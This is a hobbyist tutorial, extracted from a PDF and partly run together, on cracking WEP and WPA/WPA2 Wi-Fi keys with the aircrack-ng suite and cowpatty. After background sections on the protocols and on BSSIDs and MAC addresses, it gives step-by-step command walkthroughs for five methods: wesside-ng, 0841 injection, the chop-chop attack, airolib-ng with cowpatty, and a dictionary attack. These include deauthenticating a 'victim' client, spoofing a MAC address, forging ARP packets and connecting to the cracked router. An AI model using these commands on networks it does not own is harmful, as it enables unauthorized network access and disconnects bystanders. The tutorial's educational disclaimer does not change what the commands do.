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By Zero Cold
About WEP................................................................................................................. 3 About WPA…………………………………………………………………………. 4 Tools used to crack Wi-Fi…………………………………………………………... 5 Things to know before cracking WPA/WEP………………………………………... 6 Cracking WEP Wesside-ng…………………………………………………………. 7 Cracking WEP 0841………………………………………………………………… 10 Cracking WEP Chop Chop………………………………………………………….. 14 Cracking WPA with Airolib-ng & Cowpatty……………………………………….. 20 Cracking WPA with A Dictionary …………………………………………………..25 Things to remember when training………………………………………………….. 28
However. and using it reduces performance slightly. For wireless devices to communicate. If you're very concerned about security. The passphrase you enter is converted into complicated keys. VPN. because WEP switches between them to make your traffic more difficult to break. WEP has three settings: Off (no security).) While there is no extra performance cost to encrypting the longer key. There's a good overview in what’s New in Security: WPA (Wi-Fi Protected Access). With 128-bit encryption. WEP was an early attempt to secure wireless networks. any of your neighbors can immediately log on to your network and use your Internet connection. there is a cost to transmitting the extra data over the network. consider using 64-bit. It's easy to configure. 64-bit (weak security). The WEP concept of passphrase is introduced so that you do not have to enter complicated strings for keys by hand. which replaces WEP with a protocol that is — given current technology — impossible to crack. All devices within your LAN must use the same passphrases (i. 128-bit (a bit better security). so if you are concerned about performance. (40-bit and 64-bit WEP encryption is the same thing — 40-bit devices can communicate with 64-bit devices.. you need to enter a passphrase to generate each key. All four keys must be specified. Without any security your data can be intercepted without difficulty. Choose passphrases with the same care you would important passwords.WEP Encryption for Wireless Networks Wired Equivalent Privacy (WEP) is a security protocol for wireless networks that encrypts transmitted data. If you run a network with only the default security. and WPA. the same keys). . 128-bit security is not much more difficult than 64-bit to crack. and better security is now available such as DES. WEP is not difficult to crack. use WPA. where WEP is turned off. all of them must use the same WEP setting.e.
but only a keystream that encrypted a particular packet. Each wireless network device encrypts the network traffic using a 256 bit key. The flaw does not lead to key recovery. Specifically. For example. researchers discovered a flaw in 2008 that relied on older weaknesses to retrieve the keystream from short packets to use for re-injection and spoofing. To protect against a brute force attack. and was intended as an intermediate measure to take the place of WEP while 802. To further protect against intrusion the network's SSID should not match any entry in the top 1000 SSIDs. In August 2008 a post in the Nvidia-CUDA forums announced the possibility to enhance the performance of brute force attacks against WPA-PSK by a factor of 30 and more. Wired Equivalent Privacy (WEP).11e. The time-consuming PBKDF2-computation is taken from the CPU to a GPU which can compute many passwords and their corresponding Pre-shared keys in parallel. the 256 bit key is calculated using the PBKDF2 hash function. Pre-shared key mode (PSK. If ASCII characters are used. Rainbow tables have been computed by the Church of WiFi for the top 1000 SSIDsfor a million different WPA/WPA2 passphrases. This protocol was created in response to several serious weaknesses researchers had found in the previous system. the Temporal Key Integrity Protocol (TKIP) was brought into WPA. The later WPA2 certification mark indicates compliance with an advanced protocol that implements the full standard. which relied on a previously known flaw in WEP that could be exploited only for the TKIP algorithm in WPA and WPA2. this allows injecting faked ARP packets which make the victim send packets to the open Internet. Some consumer chip manufacturers have attempted to bypass weak passphrase choice by adding a method of automatically generating and distributing strong keys through a software or hardware interface that uses an external method of adding a new wireless adapter or appliance to a network. The expected time to successfully guess a common password by at least 50% shrinks to about 2-3 days by that. using the passphrase as the key and the SSID as the salt. TKIP could be implemented on pre-WPA wireless network interface cards that began shipping as far back as 1999 through firmware upgrades. The flaw can only decrypt short packets with mostly known contents.11i standard. This key may be entered either as a string of 64 hexadecimal digits.WPA Encryption or Wireless Networks Wi-Fi Protected Access (WPA and WPA2) is a certification program administered by the Wi-Fi Alliance to indicate compliance with the security protocol created by the Wi-Fi Alliance to secure wireless computer networks. However. . which allows Quality of Service packet prioritization for voice calls and streaming media. Shared-key WPA is vulnerable to password cracking attacks if a weak passphrase is used.1X authentication server. also known as Personal mode) is designed for home and small office networks that don't require the complexity of an 802. and 802. or as a passphrase of 8 to 63 printable ASCII characters. such as ARP messages.11i was prepared. A weakness was uncovered in November 2008 by researchers at two German technical universities (TU Dresden and TU Darmstadt). most pre-2003 APs could not be upgraded to support WPA with TKIP. This advanced protocol will not work with some older network cards. Erik Tews and Martin Beck. Because the changes required fewer modifications on the client than on the wireless access point. a truly random passphrase of 13 characters (selected from the set of 95 permitted characters) is probably sufficient. The Wi Fi Alliance has standardized these methods and certifies compliance with these standards through a program called Wi-Fi Protected Setup (formerly Simple Config). Products that have successfully completed testing by the Wi-Fi Alliance for compliance with the protocol can bear the WPA certification mark. and which can be reused as many as seven times to inject arbitrary data of the same packet length to a wireless client. The protocol implements the majority of the IEEE 802.
802. This new attack.11g traffic. run on a remote computer Tool for communicating to an access point. Packet injector (Linux. without the WEP key WPA/TKIP attack Automatic tool for recovering WEP key Is designed to audit the pre-shared key (PSK) . Aircrack-ng Airdecap-ng Airmon-ng Aireplay-ng Airodump-ng Airtun-ng Airolib-ng Packetforge-ng Cracks WEP (Brute-force search) and WPA (Dictionary File) keys. The helper server for easside-ng. Decrypts WEP or WPA encrypted capture files with known key. WEP and WPA/WPA2-PSK cracker and analysis tool for 802. and a proof-of-concept port has been made to the iPhone. named 'PTW'.11 wireless LANs. Aircrack-ng is a fork of the original Aircrack project. the Linux version has been ported to the Zaurus and Maemo platforms. It works with any wireless card whose driver supports raw monitoring mode (for a list. Placing different cards in monitor mode.11b and 802. and Windows [with Commview drivers]). Increases the KPS of WPA attacks Create encrypted packets for injection. In April 2007 a team at the Darmstadt University of Technology in Germany developed a new attack method based on a paper released on the RC4 cypher by Adi Shamir.11a. Airbase-ng Airdecloak-ng Airdriver-ng Airolib-ng Airserv-ng Buddy-ng Easside-ng Tkiptun-ng Wesside-ng Cowpatty Incorporates techniques for attacking client. as opposed to Access Points Removes WEP cloaking from pcap files Tools for managing wireless drivers Stores and manages ESSID and password lists and compute Pairwise Master Keys Allows you to access the wireless card from other computers. Virtual tunnel interface creator.9 release. Tools to merge and convert. Packet sniffer: Places air traffic into PCAP or IVS files and shows information about networks. visit the website of the project) and can sniff 802. packet sniffer.Tools for Cracking WEP/WPA Networks Aircrack-ng is a network software suite consisting of a detector. Stores and manages ESSID and password lists. decreases the number of initialization vectors or IVs needed to decrypt a WEP key and has been included in the aircrack-ng suite since the 0. The program runs under Linux and Windows.
an action often referred to as MAC spoofing. EUI-48. As the SSID displays to users. hardware address. A BSSID with a value of all 1s is used to indicate the broadcast BSSID. where a sender spoofing their address in a request tricks the other party into sending the response elsewhere.11 wireless LAN. Although intended to be a permanent and globally unique identification. each of which can have a different set of security and network settings. or SSID.Things to know before cracking WEP/WPA Network Basic service set identifier (BSSID) A related field is the BSSID or Basic Service Set Identifier. The client device can then either manually or automatically—based on configuration—select the network with which to associate. BSSs). MAC address (Mac) In computer networking. This is not yet part of the 802. or physical address. In an infrastructure BSS. which are in common use for formulating a MAC address: MAC-48. A broadcast BSSID may only be used during probe requests Service Set identifier (SSID) Service set identifier. the response is received by the spoofing party. The SSID is defined as a sequence of 1–32 octets each of which may take any value.11 standard. However. is a name that identifies a particular 802. It is legitimate for multiple access points to share the same SSID if they provide access to the same network as part of an extended service set. a Media Access Control address (MAC address) is a unique identifier assigned to most network adapters or network interface cards (NICs) by the manufacturer for identification. The SSID can be up to 32 characters long. A client device receives broadcast messages from all access points within range advertising their SSIDs. It thus forms the basis of most of the Link layer (OSI Layer 2) networking upon which upper layer protocols rely to produce complex. On broadcast networks. adapter address. managed by the Institute of Electrical and Electronics Engineers (IEEE). where "EUI" stands for Extended Unique Identifier. possibly overlapping. There are three numbering spaces. in MAC address spoofing (which takes place only within a local area network). In an IBSS. can be used in multiple. the MAC address uniquely identifies each node and allows frames to be marked for specific hosts. which uniquely identifies each BSS (the SSID however. partitioning a single physical access point into several virtual access points. . and used in the Media Access Control protocol sub layer. The IEEE claims trademarks on the names "EUI-48" and "EUI-64". Unlike IP address spoofing. or on a network segment bridged to that network segment. The universal/local bit of the address is set to 1. it is possible to change the MAC address on most of today's hardware. the BSSID is the MAC address of the wireless access point (WAP). It may also be known as an Ethernet Hardware Address (EHA). functioning networks. the MAC address of a subnet interface can be queried with the IP address using the Address Resolution Protocol (ARP) for Internet Protocol Version 4 (IPv4) or the Neighbor Discovery Protocol (NDP) for IPv6. allowing the creation of Virtual Access Points. it normally consists of human-readable characters. the BSSID is a locally administered MAC address generated from a 46-bit random number. the standard does not require this. If assigned by the manufacturer. and EUI-64. The individual/group bit of the address is set to 0. a MAC address usually encodes the manufacturer's registered identification number. Some wireless access points support broadcasting multiple SSIDs. such as Ethernet. In TCP/IP networks. A host cannot determine from the MAC address of another host whether that host is on the same OSI Layer 2 network segment as the sending host.
Your Device Name May Be Different You should see a list of interfaces like below Now you have your wireless interface name you will have to put the card into monitor mode by typing the following commands: airmong-ng start wlan0.Crack WEP with Wesside-ng Attack Before cracking WEP with wesside-ng you will need are wireless interface name you can find this by opening a shell and typing the following command: airmon-ng. Your Device Name May Be Different .
Now you have your card in monitor mode we can start airodump to get the BSSID so you need to type airodump-ng & your device name for example airodump-ng mon0 & it will look like below airodump-ng mon0 Your Device Name May Be Different Note: the encryption above is WPA but I changed it to WEP For Making this tutorial I changed the encryption type before taking the image if you would like to crack WPA/WPA2 please go further down the page for that.Note: the image above may look different if it says (monitor mode enabled on mon0) use mon0 as your device name. Now you have the BSSID from airodump you can start with wessid-ng next step is enter the commands in wesside-ng open a new shell or press ctrl-c to kill airodump-ng & enter the next few commands: wesside-ng –h .
The next step is to choose your options mine may be different I have chosen to attack a network using a 64bit encryption for this tutorial so here we go.Please Take note of these options they are always handy to crack a network fast & easy because this is a one line command tool the other ways of cracking networks the I will show you will be more than one line this is the most simple & automated tool for cracking network that I know of at this time. Once it has collected enough IV’s it will automatically crack the key like below . Wesside-ng –i mon0 –v 00:23:4E: BC: 3A: AB –k3 Your Device Name May Be Different The reason I’m am using –k3 is because I get a packet collect error it something to do whit my wireless card if you get a error try using –k3 or –k1 this is used for distance errors Notice it capturing a type of encrypted key known as a IV once it captures enough IV’s it can crack the keys also see it capturing from a computer on the network the Mac address (00:1F:9F:AA:B0:4C) that the Mac address from the victims machine who is using the internet.
Cracking WEP 0841 Attack Before cracking WEP with the 0841 method you will need are wireless interface name you can find this by opening a shell and typing airmon-ng Now you have your wireless interface name you will have to put the card into monitor mode by typing the following commands: airmong-ng start wlan0 Your Device Name May Be Different Now you have the device in monitor mode you need to scan with airodump-ng so you need to use the commands: airodump-ng mon0 Your Device Name May Be Different .
Like above you have airodump running you need to note down the bssid & the channel number for this attack. Now we have are card collecting packets & in monitor mode we can start by making a fake authentication with the victim access point. You can do this by typing aireplay-ng -1 3 –a 00:23:4E: BC: 3A: AB –h 00:1F:1F:14:4D: 6B mon0 Your Device Name May Be Different -1 3 -a -h Fake Authentication Amount of Time to Authenticate Victims Broadcast Address Your Mac Address To find your Mac address I found the best way is to do the following commands Macchanger –mac 00:11:22:33:44:55:66 wlan0 Your Device Name May Be Different . Once you have that press ctrl-c to kill the connection & restart airodump-ng with the following commands airodump-ng –w wep –c 1 –bssid 00:23:4E:BC:3A:AB mon0 Your Device Name May Be Different --bssid -c -w Victims Broadcast Address The channel number of the router The name of output file Please keep airodump-ng running with the setting you have chosen for it to collect packets in the wep-01.cap file for cracking later after we have entered a few more commands.
As you can see below it has authenticated enough get a IV packet but it needs more so I have set it to 3 to get more packets if it’s running a 128 bit encryption it may need more so now you need to make sure it going to collect all this info into a cap file we can do this by doing the next step aireplay-ng -2 –p 0841 –c FF:FF:FF:FF:FF:FF –b 00:23:4E:BC:3A:AB –h 00:1F:1F:14:4D:6B mon0 -b -2 -p -c -h Victims Broadcast Address Interactive Frame Selections Set Frame Control word (Hex) Set Destination Mac Address Your Mac Address .
As you can see its capturing packets in the cap file that you created with airodump now you are capturing the packets you can start aircrack-ng by opening a new shell & typing the following command: aircrack-ng wep*.cap & so on using the * in your command line it will use every pcap file you have in your root directory.cap Wep*.cap. When Cracking with aircrack it tries to crack the key in multiple packet intervals for example you will need to capture at least 5000 ivs before aircrack-ng may crack the key then it will go to 10000 ivs & so on so if it does not crack the key strait away don’t worry because it could take a little time due to the length or encryption of the key .cap The file we are collecting IV packets in to The reason I have put a * there is due to if you have run airodump more than once it will make more cap files when using the –w command for file output & the files will output like this wep-01.wep-02.
Now you have your wireless interface name you will have to put the card into monitor mode by typing the following commands: airmong-ng start wlan0 Your Device Name May Be Different .Cracking WEP Chop Chop Attack Before cracking WEP with the Chop Chop Attack method you will need are wireless interface name you can find this by opening a shell and typing airmon-ng .
You now need to run airodump-ng to get the bssid & the channel number of the victim’s router you can do this by typing airodump-ng -w wep –c 1 –bssid 00:23:4E:BC:3A:AB mon0 Your Device Name May Be Different -w -c Name of Output File Channel Number Now you need to make a fake authentication with the victims router you can do this by typing the following commands: aireplay-ng -1 0 –a 00:23:4E: BC: 3A: AB –h 00:1F:1F:14:4D: 6B mon0 Your Device Name May Be Different Please Note that your bssid & Mac address will be different to mine & maybe your device name -1 0 -a -h Fake authentication Amount OF time TO authenticate 0 is also used as continuous loop Victims broadcast address Your Mac address .
Now you have successfully authenticated you will need to collect a XOR packet using aireplay you can do this by typing the following commands aireplay-ng -4 –b 00:23:4E:BC:3A:AB –h 00:1F:1F:14:4D:6B mon0 Your Device Name May Be Different -4 -b -h Chop Chop WEP Packet Victims Broadcast Address Your Mac Address .
255.225 –l 255.Once this has captured enough packets it will dump the output into a xor packet when it starts doing as the image is showing below Now we have are xor packets saving into an output file we can start on the next step you will need to create an arp-request by using the following commands Packetforge-ng -0 –a 00:23:4E: BC: 3A: AB –h 00:1F:1F:14:4D: 6B –k 225.255.255 –y replay-dec-1126-112243.225.xor –w arp-request -0 -a -h -k -l -y -w Forge an ARP Packet Victims Broadcast Address You Mac Address Set Destination Ip Address Set Source Ip Address Read PRGA from This File (File Created With Aireplay-ng -5) Write Packet to Pcap File .255.225.
The next step is to inject packets with the arp-request packet that you created with packetforge-ng to do this you can use aireplay with the following commands: aireplay-ng -2 –r arp-request mon0 Your Device Name May Be Different Info: -2 -r Interactive Frame Selection (injection) Extract Packets From This File (Your File Created With Packetforge-ng) .
cap -P 2 Wep*.All is left to do now is open a new shell type in aircrack-ng -P 2 wep*.cap.cap & so on using the * in your command line it will use every pcap file you have in your root directory.cap PTW Attack The file we are collecting IV packets in to The reason I have put a * there is due to if you have run airodump more than once it will make more cap files when using the –w command for file output & the files will output like this wep-01.wep-02. As you can see the above aircrack-ng has cracked the wireless key & decrypted it fully now all you need to do is take out the colons & enter your key that you have crack & connect to the victims router When Cracking with aircrack it tries to crack the key in multiple packet intervals for example you will need to capture at least 5000 ivs before aircrack-ng may crack the key then it will go to 10000 ivs & so on so if it does not crack the key strait away don’t worry because it could take a little time due to the length or encryption of the key .
Once you have then press control-C & use the following commands: airodump-ng -w WPA -c 1 --bssid 00:23:4E: BC: 3A: AB mon0 Your Device Name May Be Different -w -c --bssid The name of output file The channel number The victims Broadcast Address .Cracking WPA with Airolib & Cowpatty In this tutorial it will show you how to crack WPA & wpa2 networks with airolib & cowpatty. Essid & channel number. Cowpatty is used to brute force a set pcap file that outputs from aircrack-ng Before we use cowpatty you need to prepared by collecting a four way handshake the problem with cracking WPA & getting a four way handshake is you have to have a victim To deauthenticate to collect a packet to start using cowpatty this can be done multiple ways Before you start you will have to do what you have done in the following tutorials if you have followed then you need to put your card into monitor mode this can be done By typing airmon-ng start wlan0 Your Device Name May Be Different Now your card is in monitor mode you will need to use airodump-ng to find the victim’s bssid.
Next you will need to deauthenticate a victim on the network in other words boot he or she off the network for it to capture a four way handshake on reconnection. This can be done with the following commands aireplay-ng -0 1 -a 00:23:4E: BC: 3A: AB -c 00:23:4D: 11:87:d5 mon0 Info: -0 1 -a -c Deauthenticate victim The amount of times to deauthenticate The victims broadcast address The victims mac address of machine Your Device Name May Be Different As you can see in the above image I have successfully deauthenticated the victims machine on the network to capture a four way handshake to know if you have the four way handshake you can see on the top right of the airodump window .
.Once you have your four way handshake you need to create a database for cowpatty to read you can do this using airolibng with the following commands airolib-ng pskdb –import passwd /root/password...txt file place the following commands into your shell: airolib-ng pskdb --import essid essid..txt but yours can be different remember if you rename you text file the name will be different in the command line also you may want to place it into your root directory to save time for command line to import your essid. root@root~# The next step is to batch the file ready for output for usage in cowpatty you can do this with the following command: Airolib-ng pskdb –batch . Done. Writing.txt Pskdb Passwd /root/password.txt The name of database to be created Imports the password list The location of password list Here is the output I got when I imported the passwords Now you have the database created you will need to import essid’s you will need to create a text file I have chosen to call mine essid.txt You output should look like below root@root~# airolib-ng pskdb –import essid essid.txt Reading file.
megaupload.com/?d=7RN6ZB2E Once you have everything batched up and ready to go let’s just check everything went to plan with airolib-ng you can do this with the following command Airolib-ng pskdb --stat Here is my output .This may take a little bit of time depending on the size of your wordlist for this guide I am using a small wordlist that consists of approximately 1805 password but you will want a much larger one I have posted a 64million word one on the forums if you would like to download it go here http://www.
root@root~# And now you should have a file called Output in your home folder so let’s recap to see to check that everything has been done correctly We started by putting are card into monitor mode then run airodump-ng to collect are bssid.Now we have all the required information in are database we can output it into a file that cowpatty can read this can be done with the following command: Airolib-ng pskdb –export cowpatty BTHomeHub2-S5JW out Please remember to change the essid to your essid that you have in your list & in your database and if all has gone to plan it should look like below root@root~# airolib-ng pskdb –export cowpatty BTHomeHub2-S5JW out Exporting.essid & channel number then we closed airodump-ng & re-run it with are settings & creating a pcap file with airodump locked on a set channel number & bssid then we deauthenticated a victim on the network to collect are four way handshake which was stored in the pcap file then we created a cowpatty file using airolib-ng ready for cracking with cowpatty & now is the time to do this with the following commands: cowpatty -s BTHomeHub2-S5JW -d out -r WPA-01..cap -s -d -r Victims Essid The output file that you created with airolib-ng The pcap file that you created with airodump-ng Please not if you are getting errors like file not found put in the locations of the files for example: /root/Output . Done..
The problem with cracking WPA & getting a four way handshake is you have to have a victim To deauthenticate to collect a packet to start using cowpatty this can be done multiple ways Before you start you will have to do what you have done in the following tutorials if you have followed then you need to put your card into monitor mode this can be done By typing airmon-ng start wlan0 Your Device Name May Be Different Now your card is in monitor mode you will need to use airodump-ng to find the victim’s bssid.Cracking WPA with A Dictionary In this tutorial it will show you how to crack WPA & wpa2 networks with aircrack & a dictionary list. This is a little bit different from using airolib-ng & cowpatty its slower but you do not have to type is as many commands and wait for the file to batch up it almost a strait forward brute force attack but like before you will need to get a four way handshake. Once you have then press control-C & use the following commands: airodump-ng -w WPA -c 1 --bssid 00:23:4E: BC: 3A: AB mon0 Your Device Name May Be Different -w -c --bssid The name of output file The channel number The victims Broadcast Address . Essid & channel number.
This can be done with the following commands aireplay-ng -0 1 -a 00:23:4E: BC: 3A: AB -c 00:23:4D: 11:87:d5 mon0 Info: -0 1 -a -c Deauthenticate victim The amount of times to deauthenticate The victims broadcast address The victims mac address of machine Your Device Name May Be Different .Next you will need to deauthenticate a victim on the network in other words boot he or she off the network for it to capture a four way handshake on reconnection.
com/?d=7RN6ZB2E to use aircrack-ng & a dictionary is simple when you remeber the commands here is how to do it aircrack-ng -w password.cap Here is my output Your dictionary file your capture file (The File Created With Airodump) .megaupload.txt WPA-01.As you can see in the above image I have successfully deauthenticated the victims machine on the network to capture a four way handshake to know if you have the four way handshake you can see on the top right of the airodump window Now you have a four way handshake you can start cracking with aircrack-ng & you dictionary list if you need a dictionary list there is one posted on the forums here is the link http://www.cap -w WPA-01.
Things to remeber when training I will not take any resposibility on what you do if you use the tutorials for molicuse use & you get busted its not my fualt i have written this guide for education perposes & performed all attacks on my own local network & agianst my own router remeber there are laws on cracking into networks & peoples private information Also if you have any problems with these guides please contact me on the forums & i will try to help you sort them out i have been cracking wireless keys for about 2 years now & trying to find news ways to attack them also these are only a few ways of doing it this is more of a introduction to cracking wireless internet & i will be brining some more guides out soon to show the sort of damage or what a attacker can do once he has a foothold in your network or even a backdoor one of your computers on the networks how he can attack every computer on the network from a remote location thanks for reading hope you enjoyed & learned somthing out of this i enjoyed writing it & reperforming old ways that i havent done in a while Shouts to pentest & qubit for being such good member’s & staff on the forums Peace Zero Cold .
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